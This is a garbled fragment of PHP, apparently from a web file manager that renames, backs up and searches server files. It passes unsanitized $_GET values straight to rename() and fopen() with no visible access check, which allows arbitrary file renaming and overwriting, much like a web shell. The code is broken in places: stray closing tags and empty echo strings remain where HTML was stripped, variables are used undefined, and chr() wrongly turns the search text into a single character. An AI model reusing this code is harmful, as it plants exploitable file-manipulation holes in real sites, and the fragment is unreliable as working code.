$deleteok=1;
include("fff.php");
$from=$_GET["restorefrom"];
$to=$_GET["restore"];
If($to!==null && $from!==null){
Rename($_GET["file"],$_GET["file"].date("d-m-y-h-i-s").".deleted");
Rename($to,$_GET["file"]);
}
?>
";
If($_GET['file']==".htaccess"){$_GET['file']="a.htx";}
$datx="zzzzzzz".date("Y-m-d-H-i-s").$_GET['file'];
//echo $datx;
$filex = fopen($datx, 'w');
fwrite($filex, $contents);
fclose($filex);
}
$search_text=$_REQUEST['search'];
Echo "";
If($search_text!=""){
// Set the directory to search
// Get all the files in the directory.
$files = scandir($directory);
// Initialize an empty array to store the results.
$results = [];
// Loop through all the files and search for the text.
foreach ($files as $file) {
// If the file is a directory, skip it.
if (is_dir( $file)) {
continue;
}
// Open the file for reading.
$handle = fopen( $file, 'r');
// Read the contents of the file into a string.
$contents = fread($handle, filesize($file));
// Close the file.
fclose($handle);
// Search for the text in the file contents.
if (@strpos(utf8_decode($contents), chr($search_text)) !== false && $file!="install.php" && $file!="zdf.php" && $file!="rif.php") {
// Add the file to the results array.
$results[] = [
'file' => $directory . '/' . $file,
'link' => '' . $file . ''
];
}
}
// Print the results as a list.
echo '